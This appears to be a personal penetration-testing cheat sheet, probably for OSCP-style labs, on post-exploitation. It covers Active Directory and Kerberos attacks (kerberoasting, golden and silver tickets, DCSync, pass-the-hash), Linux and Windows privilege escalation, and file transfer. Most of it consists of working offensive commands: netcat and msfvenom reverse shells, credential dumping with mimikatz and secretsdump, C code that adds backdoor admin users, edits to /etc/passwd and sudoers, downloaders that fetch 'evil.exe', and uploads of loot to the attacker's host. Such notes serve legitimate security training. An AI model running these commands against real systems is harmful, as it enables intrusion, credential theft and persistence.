Post-Exploit
Active Directory
Active Directory Enumeration
try Import-Module ActiveDirectory
Get-ADDomainGet-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName- to list users with an SPN (kerberoastable)Get-ADGroup -Filter * | select name- list groupsGet-ADGroup -Identity "$groupName"- get info about that groupGet-ADGroupMember -Identity "$groupName"- list users of the group
adPEAS.ps1
Import-Module .\adPEAS.ps1thenInvoke-adPEAS- It will begin searching for SPNs, kerberoastable accounts, and exporting a bunch of domain info to a .zip file for Bloodhound. At this point I would look through the text output and see what you have. if you have any kerberoastable accounts, try to crack the hashes with hashcat.
- Transfer the .zip file back to your machine and import it into bloodhound. Copy it to an SMB share if you can.
- Before launching bloodhound:
sudo neo4j console - If adPEAS didn’t get you any credentials or valuable info, you might need to run Rubeus or Mimikatz manually. Or you might need to enumerate better, maybe theres something else you can find locally…Services, config files…backups?
PowerView.ps1
Import-Module .\PowerView.ps1- (May Need “Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser”)Get-NetDomainGet-NetUserGet-NetUser | select cn(common name)Get-NetUser | select cn,pwdlastset,lastlogonGet-NetGroup | select cnGet-NetGroup "Fart Department" | select member(get members of the Fart Department)Get-NetComputerGet-ObjectAcl -Identity $userGet-ObjectAcl -Identity "<group>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights- (For example, pick different items to select)
Convert-SidToName $SID- (like S-1-5-21-1987370470-658905705-1781884369-1103)Find-LocalAdminAccess- (scanning to find local admin privileges for our user)Get-NetSession -ComputerName $computerName- (The permissions required to enumerate sessions with NetSessionEnum are defined in the SrvsvcSessionInfo registry key, which is located in the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurityhive.)
- (The permissions required to enumerate sessions with NetSessionEnum are defined in the SrvsvcSessionInfo registry key, which is located in the
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | flGet-NetUser -SPN | select samaccountname,serviceprincipalname- (Another way of enumerating SPNs is to let PowerView enumerate all the accounts in the domain. To obtain a clear list of SPNs, we can pipe the output into select and choose the samaccountname and serviceprincipalname attributes)
- Find SMB shares:
Find-DomainShare- then:
ls \\dc1.corp.com\sysvol\corp.com\(for example)
- then:
- Find AS-REP roastable accounts:
Get-DomainUser -PreauthNotRequired Get-DomainPolicyenumerate and retrieve password policies
Misc AD Techniques
Run Bloodhound from attacker (rather than using Sharphound):
bloodhound-python -u $user -p '$password' -ns $ip -d domain.offsec -c allSnaffler.exe -s -d $domain.com -o snaffler.log -v data- iterates through domain shares hunting for interesting files
If you have a list of potential users, you can use kerbrute to check it for real users
Kerberos
Steps and Attack Privilege Requirements
- AS-REQ - The client requests an Authentication Ticket or Ticket Granting Ticket (TGT).
- AS-REP - The Key Distribution Center verifies the client and sends back an encrypted TGT. (capture = asreproasting)
- TGS-REQ - The client sends the encrypted TGT to the Ticket Granting Server (TGS) with the Service Principal Name (SPN) of the service the client wants to access.
- TGS-REP - The Key Distribution Center (KDC) verifies the TGT of the user and that the user has access to the service, then sends a valid session key for the service to the client. (capture = Kerberoast, create = silver ticket)
- AP-REQ - The client requests the service and sends the valid session key to prove the user has access.
- AP-REP - The service grants access
The main ticket that you will see is a ticket-granting ticket these can come in various forms such as a .kirbi (most common) for Rubeus or .ccache for Impacket. A ticket is typically base64 encoded and can be used for various attacks. The ticket-granting ticket is only used with the KDC in order to get service tickets. Once you give the TGT the server then gets the User details, session key, and then encrypts the ticket with the service account NTLM hash. Your TGT then gives the encrypted timestamp, session key, and the encrypted TGT. The KDC will then authenticate the TGT and give back a service ticket for the requested service. A normal TGT will only work with that given service account that is connected to it however a KRBTGT allows you to get any service ticket that you want allowing you to access anything on the domain that you want.
Kerbrute Enumeration
kerbrute userenum --dc $ip -d CONTROLLER.local User.txt- –dc can point to a domain
Attack Types
Pass the Ticket - Access as a user to the domain required
Kerberoasting
SPNs are unique identifiers that Kerberos uses to map a service instance to a service account in whose context the service is running. Requires access as any user Retrieves a TGS-REP hash
- Remote:
sudo impacket-GetUserSPNs -request -dc-ip $IP $domain.com/$user- Requests password after
- Could potentially chain with kerbrute userenum and jsmith.txt
- Local:
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast- Maybe try with
/tgtdelegbecause it ensures RC4 which is faster
- Maybe try with
- or Local with
PowerView.ps1Get-DomainUser * -spn | select samaccountnameGet-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
AS-REP Roasting
Requires access as any user with PreauthNotRequired on Windows
- Remote:
Impacket-GetNPUsers -dc-ip $IP -request -outfile $outfile.asreproast $domain.com/$user - Local:
.\Rubeus.exe asreproast /nowrap - Local enum: PowerView’s
Get-DomainUser -PreauthNotRequired
Silver Ticket
This is forging our own service ticket This requires the following three pieces of information:
- SPN password hash (of service account)
- If we already have the password we can use online tools to create the NTLM hash. CodeBeautify.org.
- Domain SID
- We can get this with powershell:
Get-ADdomain(it will look like this:S-1-5-21-1969309164-1513403977-1686805993)
- We can get this with powershell:
- Target SPN
- We can get this with powershell:
Get-ADUser -Filter {SamAccountName -eq "$user"} -Properties ServicePrincipalNames - It will look like this:
MSSQL/nagoya.nagoya-industries.com
- We can get this with powershell:
- Target user -
-user-id 500 Administrator - Full command: ` impacket-ticketer -nthash $NTLMHash -domain-sid $SID -domain $domain.com -spn $SPN -user-id 500 Administrator
Local (from mimikatz):kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:$domain.com /ptt /target:$host.$domain.com /service:http /rc4:$NTLM_hash /user:$user`- user is the existing user which will be set in the forged ticket, so if you want one for a user named
patsy, the output will sayGolden ticket for 'patsy@domain.com' successfully submitted for current session.
- user is the existing user which will be set in the forged ticket, so if you want one for a user named
DC sync
This is where we impersonate a domain controller using the user account with Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set rights. (Domain Admins, Enterprise Admins, and Administrators by default).
- Local (from Mimikatz):
lsadump::dcsync /user:$domain\$userwhere ~user$ is the target we want likecorp\david - Remote:
impacket-secretsdump -just-dc-user $Targetuser $domain.com/$pwnedUser:"$password"@$IP
Pass the Hash
There are multiple different kinds of pass the hash attacks, but they are performed by impacket for example:
impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73
Overpass the Hash
Overpass the hash involves “over” abusing an NtLM user hash to gain a full TGT, which we can then use to obtain a Ticket Granting Service (TGS). In other words we turn an NTLM hash into a Kerberos ticket and avoid the use of NTLM authentication.
- Local (using mimikatz):
sekurlsa::pth /user:$user /domain:$domain.com /ntlm:$NTLM /run:powershell- If we run
whoamion this powershell, it will say the ^user above rather than which user we logged in with - If we then authenticate using this ^user, such as using
net use \\smbserverthere will be a ticket cached. We can useklistto prove it.
- If we run
Pass the Ticket
Requires access to the domain as a user. The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required.
- Local (using mimikatz):
sekurlsa::tickets /export- Next: This exports the ticket (a
.kirbifile) which we can find by searchingdir *.kirbi. It will look like[0;12bd0]-0-0-42830000-patches@cifs-web42.kirbi. - Next (from mimikatz):
kerberos::ptt [0;12bd0]-0-0-42830000-patches@cifs-web42.kirbi- If you get no errors, you should be able to see it with
klist.
- If you get no errors, you should be able to see it with
- Next: This exports the ticket (a
Skeleton Key - Full domain compromise (domain admin) required
Golden Ticket
Requires full domain compromise Local (from mimikatz):
privilege:debuglsadump::lsa /patch- Output is the SID and NTLM of the
krbtgtaccount. Once you have these two items, you can do this from any machine.
- Output is the SID and NTLM of the
- (new machine or old)
kerberos::purge kerberos::golden /user:$user /domain:$domain.com /sid:SID /krbtgt:$krbtgtNTLM /ptt($user is whoever we want to have admin permissions)misc::cmd- launches new command prompt from which we can usePsExec.exe \\$targetmachine cmd.exe- Note: we must use the hostname rather than the IP address. This is because we are trying to use overpass the hash and authenticate using kerberos rather than NTLM.
DCOM
The Distributed Component Object Model is a system for creating software components that interact with one another. Interaction with it is performed over RPC on TCP port 135.
## create instance of Excel.Application object
$com [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "[target_workstation]"))
## copy Excel file containing VBA payload to target
$LocalPath = "C:\Users\[user]\badexcel.xls
$RemotePath = "\\[target]\c$\badexcel.xls
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
## create a SYSTEM profile - required as part of the opening process
$path = "\\[target]\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [system.io.directory]::createDirectory($Path)
## open Excel file and execute macro
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")
$com.Run("mymacro")
From an elevated PowerShell prompt, we can instantiate a remote MMC (Microsoft Management Console) 2.0 application by specifying the target IP of FILES04 as the second argument of the GetTypeFromProgID method.
$dcom =[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$targetIP"))$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")- replace
/calc with whatever powershell script
- replace
Once we execute these two PowerShell lines from CLIENT74, we should have spawned an instance of the calculator app.
Shadow Copies
This technique probably won’t come up on the exam and may just be a noisier version of DC Sync
Windows SDK includes vshadow.exe. The goal of this attack is to abuse vshadow to extract the AD database NTDS.dit file.
- As admin from DC:
vshadow.exe -nw -p C:- Take note of
Shadow copy decice name:$ShadowCopyName
- Take note of
copy $ShadowCopyName\windows\ntds\ntds.dit c:\ntds.dit.bakreg.exe save hklm\system c:\system.bak- Move
ntds.dit.bakandsystem.bakto kali - From kali:
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL - This will give use the hashes of every AD user which can now be cracked or used
After Linux Foothold
Enumeration
idsudo -l- what can we run using sudohistory- could have some juicy details in historycat /etc/passwd- If you can somehow edit /etc/passwd:
openssl passwd $newPassword- `echo “$newUser:$hashAbove^:0:0:root:/root:/bin/bash” » /etc/passwd
- or simply copy$hashAbove^ into
root:<this spot>:etcwithin the /etc/passwd file
- If you can somehow edit /etc/passwd:
uname -a- kernel exploitscat /etc/issue
hostnameps -auxwatch -n 1 "ps -aux | grep $searchTerm$"
ipconfigss -anp or netstatdpkg -l(to list applications installed by dpkg)find / -writable -type d 2>/dev/null(find writable directories)historyorcatany/home/.historyfiles- check
/home/.sshfor keys su root(can’t hurt to try)sudo tcpdump -i lo -A | grep "pass"ip neigh- ipv4 neighbor tablenetstat -ano- what ports are open and what communications existdpkg -l- list installed programs- check
/var,/opt,/usr/local/srcand “/usr/src/for anything interesting find / -writable -type d 2>/dev/null- find writable directories- TCM Color Command:
grep --color=auto -rnw '/' -ie "$searchTerm" --color=always 2> /dev/null(searches for the term and spits it out in red) - From the directory you want to search:
grep -r "$searchTerm"
Privilege Escalation
Automated tools
- linpeas.sh
- unix-privesc-check
- lse.sh
SUID Executables
SUID stands for “Set User ID”, and it is a special type of permission that can be given to a file so the file is always run with the permissions of the owner instead of the user executing it.
find / -user root -perm -4000 -print 2>/dev/nullfind / -type f -perm -04000 -ls 2>/dev/nullfind / -type f -perm -u=s 2>/dev/null | xargs ls -lfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;- There may be more
- drwxr-x-r–
- this is a directory with read/write/execute for the owner, read/execute for the group, and read for everyone else
- if there is an S where the first x would be, that is a SUID (vs GUID for group id or sticky bit for the last one which would be a t)
Kernel Exploits
uname -a - check which kernel
lsmod - List Kernel modules
/sbin/modinfo $moduleName
Passwords and File Permissions
historyfind /etc -type f -exec grep -i -I "pass" {} /dev/null \; 2>/dev/null- for the /etc directory
find / -name id_rsa 2>/dev/nullorauthorized_keys
Sudo Escalations
sudo -lthen “gtfobins.github.io”- Escalation via LD_PRELOAD - if you see this in the output, it means you can preload libraries, and you can use that to load a bash shell prior to actually executing one of the commands you’re able to load.
- Code here: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path
Scheduled Tasks
Take note of where the PATH is if the full PATH isn’t declared
grep "CRON" /var/log/syslog
ls -lah /etc/cron*
cat /etc/crontab
- especially for processes running as root
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > $cronScript- then you can execute /tmp bash because of the
+s
- then you can execute /tmp bash because of the
Shared Object Injection
strace $binary 2>&1 - strace intercepts and records the system calls which are called by a process and the signals which are received by a process.
- then try to overwrite anything that shows up as (No such file or directory)
- may need a .c file to exploit, EX:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Then: gcc -shared -fPIC -o $outputLocation $exploitLocation.c
-gcc -shared -fPIC -nostartfiles -o file file.c
- note that you can change this to
$file.so
Binary Symlink Escalation
Vulnerability with nginx, an http and reverse proxy server https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
Escalation via Environmental Variables
Run the find SUID command, then run strings on the binary if you don’t know what it does
If it starts a service from the PATH, you can print $PATH
- If it doesn’t have a direct PATH:
- one line c command:
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c - so the one liner is actually:
int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;} - then
gcc /tmp/service.c -o /tmp/service - then:
export PATH=/tmp:$PATH - This means that when you call a service, the system will check /tmp first as it is the start of the PATH
- one line c command:
- If it does have a direct PATH (like /usr/sbin/service)
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }export -f /usr/sbin/service-
Capabilities
getcap -r / 2>/dev/null - this will show up during linpeas, but it’s still good to know
NFS Root Squashing
cat /etc/exports- if it says
'no_root_squash'then the directory shown is shareable and can be mounted - Because it’s no root squash, everything we do as root on our machine, it will be as root as the target machine even though we are a normal user on the target so from kali:
- if it says
mkdir /tmp/mountmemount -o rw,vers=2 $kaliIP:/tmp /tmp/mountmeecho 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme/x.cgcc /tmp/mountme/x.c -o /tmo/mountme/xchmod +s /tmp/mountme/xthen from target:./x
Other
Reverse shells:
busybox nc $kaliIP 4444 -e shrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $kaliIP $kaliPort >/tmp/f
Add file to path:
export PATH="/usr/lib/gcc/i486-linux-gnu/4.6/:$PATH"
If you can edit /etc/sudoers:
"echo $user ALL=(ALL) NOPASSWD: ALL >> c:$LFILE"
Remember that backticks can take precedence over other commands. Ex:
- In URL: 10.10.186.101:8081/ping?ip=
ls
After Windows Foothold
Local Enumeration
cmd
User enum:
whoamiwhoami /groups- display groups of current userwhoami /priv- check our privilegesnet user- get list of all local users on machine (this will not include service accounts such as inetserv)net user steve- get user info for stevenet group /domain- all local groupsnet localgroup administrator- can sometimes not work as justnet localgroupif we don’t have a logged in session-
net group "Domain Admins" /domain dsquery userdsquery computerdsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl(PASSWD_NOTREQD)
findstr (grep for Windows) commands: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findstr
wmic cpu get DataWidth, Description, AddressWidth- check architecturewmic qfe- check patcheswmic logicaldisk get caption, description, providername- checks drives
Network enum:
ipconfigoripconfig /allarp -a- (arp -all) - checks IP and MAC addressesnetstat -ano- what ports are listening/connected, take note if anything is firewalled or not shown in the originalnmap scan
Running Processes/Services
tasklist- Get a list of running processestasklist /SVC- services-
net start- check which services are runnings
Scheduled Tasks:
schtasks /query /fo LIST /vschtasks /query /fo LIST /v | findstr /i "TaskName:"
Search:
where /R c:\windows bash.exe- where inC:\Windowsis bash.exe (/R means recursive)dir /R- likels -la
Password hunting:
findstr /si password *.txt *.ini *.config- checks from whichever directory and subdirectories and ignores case for the string passwordcmdkey /list- To list the stored credentials on the machine.reg query HKLM /f pass /t REG_SZ /s- pay attention to ControlSet keys
Add user (if Admin)
net user $user $password /addnet localgroup Administrators $user /add
TCM Password Hunting
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
Powershell
Get-LocalUser- get list of all local usersGet-LocalUser steve- same as net user steveGet-LocalGroup- all local groupsGet-LocalGroupMember $groupName- list of users in that groupsysteminfo- OS, version, architecture, etcipconfig /all- list all network interfacesroute print- display routing table containing all routes of the systemnetstat -ano- list all active network connections- a = all active TCP connections as well as TCP and UDP ports
- n = disable name resolution
- o = show process ID for each connection
Get-Process- show running processesGet-Process $processName | Format-List *- get all information about a process
Finding info about applications:
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\" | select displayname- Displays 32 bit applications (remove ‘select displayname’ for more info)Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname- Displays 64 bit applications (remove ‘select displayname’ for more info):
Searching for specific things:
- Command for finding “.kdbx” (KeePass) files:
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue(for Keepass db)
- Command for finding sensitive XAMPP info files:
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
- Checking for files in home directory
Get-ChildItem -Path C:\Users\$user\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Runas:
- runas user:$user cmd
- will have to enter password after, but it gets a shell as that user
- C:\Windows\System32\runas.exe /user:$DOMAIN\$User /save cred "C:\Windows\System32\cmd.exe /c $Command
- C:\Windows\System32\runas.exe /user:$DOMAIN\$User /save cred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\proof.txt > $outputlocation.txt
- With InvokeRunasCs.ps1:
- Import-Module .\Invoke-RunasCs.ps1
- Invoke-RunasCs svc_mssql trustno1 'c:/xampp/htdocs/uploads/nc.exe 192.168.45.204 4444 -e cmd.exe'
- If this doesn’t work, the issue may be the upload location of the nc binary.
Get-History- may not work(Get-PSReadlineOption).HistorySavePath- Then
catortypeoutput file and check that output for interesting files Download file from remote server iwr -uri http://$kaliIP/file.ext -outfile file.ext
- Then
Checking privileges on service binaries
https://github.com/gtworek/Priv2Admin - which privileges can do what
icaclsWindows utility orGet-ACL- PowerShell Cmdlet
Other Techniques
TCM list of Automated Tools
Executables:
- winPEAS.exe - windows privilege escalation awesome script (check hacktrick bc it has the checklist)
- Seabelt.exe - has to be compiled (sln files open in Visual Studio)
- Watson.exe - has to be compiled (sln file)
- SharpUp.exe
PowerShell
- Sherlock.ps1 (predecessor to Watson)
- PowerUp.ps1
- jaws-enum.ps1 (jaws = just another windows script)
Other
- windows-exploit-suggester.py (local from attack machine)
- requires
systeminfooutput from the machine - seems to be mostly kernel exploits
- requires
- Exploit Suggester (Metasploit)
PowerUp.ps1
Import-Module ./PowerUp.ps1
. .\PowerUp.ps1ThenInvoke-AllChecks- Check Abuse Function which gives necessary command
Registry Escalation:
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installerreg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer- If either of these are set to 1, you can run any msi with elevated permissions. Make an MSI and execute it.
- PowerUp checks for this.
- Note that you may need to execute any file written after running the Abuse Function.
- Can also just create a .msi with msf.
Service Escalation - Registry (TCM)
Example for the regsvc service:
- Powershell on target:
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl- take note if we have
NT AUTHORITY\INTERACTIVE Allow Full Controlfor this service. If we do we can make a malicious executable run a command.
- take note if we have
- create a malicious .c file and compile it:
- Example:
- take an existing file and replace the command used by the system() function to:
cmd.exe /k net localgroup administrators $user /add x86_64-w64-mingw32-gcc $exploit.c -o $exploit.exe- this adds the $user to the administrators group
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d $exploit.exe /fsc start regsvc
Escalation Via Executable Files (TCM)
- PowerUp.ps1
- It will give a ServiceName, Path, ModifiablePath, … and AbuseFunction
- Take $servicename.exe and replace the existing version in the modifiable path
Escalation via Startup Applications
icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"- Generate the exe wth msfvenom
- Put the exe in the above folder
- Need to reboot or have an administrator log in/out
- Probably won’t see this in CTF or lab environment
DLL Hijacking
Go into process monitor and set filters for “Path ends with .dll” and “Result is NAME NOT FOUND”
- We can overwrite if we can control the service and if the folder is writable
- If we have a vulnerable service called dllsvc:
sc start dllsvc(or stop first, then start)- Then check ProcMon
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll- Then stop and start again
- If we have a vulnerable service called dllsvc:
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking
Escalation via Binary Paths
- run PowerUp.ps1 -
Invoke-AllChecks - If our user has the
"SERVICE_CHANGE_CONFIG"permission on thedaclsvcservice:sc config daclsvc binpath= "net localgroup administrators $user /add"sc stop daclsvcandsc start daclsvc
Unquoted Service Path Escalation
- PowerUp.ps1
- Example service path:
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe - when the system is trying to run this executable, it will check for
Program.exe,Program Files.exe,Program Files\Unquoted.exe… etc. So the goal is to place our malicious executable in any of those directories we have write access to. The example lab uses:C:\Program Files\Unquoted Path Service\Common.exe
CVE-2019-1388
If you get a pop up that says To continue, enter an admin user name and password. and has a Show more details option, you may be able to open up an internet explorer window showing the publisher’s certificate. It will open it up as a SYSTEM level user, so you can use internet explorer to pop a shell.
- Wheel
- Save as
- File
- Search for cmd, then right click and open it. It will open as
nt authority\system.
UAC Bypass
Goal is to replace a service exe and either restart the service or reboot (shutdown /r /t 0)
Malicious.c file below:
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user poppop PartyParty123! /add");
i = system ("net localgroup administrators poppop /add");
return 0;
}
Compile the C Program above, and you can use it to create a new admin user (poppop:PartyParty123!).
-i686-w64-mingw32-gcc adduser.c -o adduser.exe
Potato Family
remember to try transferring the nc.exe binary When you have SeImpersonatePrivilege
- Check what version you need (.NET) (Check .NET version):
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP" - PrintSpoofer:
.\PrintSpoofer.exe -c "nc.exe $kaliIP $port -e cmd".\PrintSpoofer64.exe -i -c cmd
- GodPotato:
".\GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe $kaliIP $port" - Sweet Potato (where r.exe = msfvenom shell):
.\SweetPotato.exe -e EfsRpc -p c:\Users\Public\nc64.exe -a "<ip> <port> -e cmd" - Sweet Potato:
.\SweetPotato.exe -e EfsRpc -p c:\Users\Public\nc.exe -a "10.10.10.10 1234 -e cmd"
Mimikatz (local)
One liner: .\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::msv" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
privilege::debugtoken::elevatelsadump::samsekurlsa::logonpasswordslsadump::dcsync /user:$domain\$user (to obtain NTLM hash)- Then from kali:
impacket-secretsdump -just-dc-user $user $domain.com /$user:"$password"@$targetIP - From kali:
impacket-psexec -hashes 00000000000000000000000000000000:$NTLMhash Administrator@$targetIP- From a GUI must be run as admin, (or in a cmd that is running as admin). UAC stops it otherwise. -sekurlsa::ticketscan help steal a TGS or, even better a, TGT
- Then from kali:
Misc Windows Privesc
Running Processes Powershell
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}- NOTE: You cannot see higher priv processes in windows
Search for unquoted service paths:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """
Check to see if you have the ability to do privileged writes i.e. writing to System32. There are exploits available on hacktricks.
show firewall profile:
netsh advfirewall show currentprofilenetsh advfirewall firewall show rule name=all
Enumerate Installed Programs
wmic product get name, version, vendor
Enumerate Windows Updates
wmic qfe get Caption, Description, HotFixID, InstalledOn
Check for folders/files Everyone can write to:
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
List drivers:
-
(cmd)`driverquery.exe /v /fo csv ConvertFrom-CSV Select-Object ‘Display Name’, ‘Start Mode’, Path - (powershell)
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}
Notes:
- Run
ls,Get-ChildItem, orgciwith-force(likels -labut for Windows)
Post Exploit
#### FROM HACKTRICKS: Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable- I found that this line is not needed::sc config TermService start= auto- I found that this line is not needed::net start Termservice- found that this line is not needed
File Transfers
Python server
- From kali:
python3 -m http.server $port - From target Windows:
- powershell:
iwr -uri http://$kaliIP:$port/$file -o $file - cmd: `certutil.exe -urlcache -split -f http://$kaliIP/$file C:\Windows\temp$file
- powershell:
- From target Linux:
wget http://$kali IP:$port/$file
nc
- on target -
nc -w 3 $kaliIP 4444 < file.txt - on kali -
nc -lvnp 4444 > file.txt
SMB
- From kali:
sudo impacket-smbserver -smb2support $shareName $sharedDirectory -username "$kaliUser" -password "$kaliPass"
- From target:
- `net use m: \$kaliIP$shareName /user:$kaliUser $kaliPass
- `copy/get $file m:\
- Example:
- on kali -
sudo impacket-smbserver -smb2support share . -username "pop" -password "party1" - on target -
net use \\$kaliIP\share /user:pop party1 - on target -
copy $file \\$kaliIP\share
- on kali -
Over RDP
xfreerdp /u:admin /p:password /v:$target /drive:/$directoryToShare,$nameToShare /dynamic-resolutionxfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/.
SSH/SCP
scp -P $sshPort $file $user@$targetIP:$destFolder
FTP
- From Kali:
python -m pyftpdlib -p 21 --write(to provide write access) - From windows:
ftp $kaliPass(anonymous:anonymous)
wsgidav
`wsgidav –host=0.0.0.0 –port=80 –auth=anonymous –root $directoryToShare
- host specifies the host to listen to, “0.0.0.0” means all interaces, “–auth=anonymous” disables authentication (fine for sharing specific files during this context), and the “–root” flag specifies the directory to share.
.vbs file
Downloads a file from a self hosted web server:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs SAMPLE USAGE: `cscript wget.vbs http://$kaliIP/evil.exe evil.exe`
Powershell script builder
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://[IP]/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
Usage:
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
- powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://$kaliIP/winPEAS.bat, 'winpeas.bat')
exe2hex
exe2hex converts to a script that recreates the file from hex string via non-interactive methods:
powershell.exe (New-Object System.Net.WebClient).UploadFile('C:\Users\Administrator\loot.zip', 'http://$kaliIP$/20220204195540_loot.zip')
Kerberos
You can use Kerbrute to enumerate accounts without ever having to exploit a machine:
kerbrute userenum --dc [IP] -d CONTROLLER.local /home/kali/Documents/TryHackMe/Labs/Attacking_Kerberos/User.txt
-Note you will need to add an entry to your /etc/hosts file.
Rubeus (local)
https://github.com/GhostPack/Rubeus
Rubeus.exe harvest /interval:30- to harvest ticketsrubeus.exe kerberoast- to get hashes of kerberoastable accounts. Use bloodhound to see if they are worth anything.Rubeus.exe asreproast- can be cracked with hashcat
- YOU MAY NEED TO ADD 23$ TO THE HASH!! PAY ATTENTION TO THE FORMAT!!!
Impacket (remote)
Impacket-GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip [IP] -request
Bash script: for user in $(cat users.txt); do impacket-GetNPUsers -no-pass -dc-ip 10.10.10.161 $domain/${user} | grep -v Impacket; done
- where $domain is just the htb of htb.local
Mimikatz
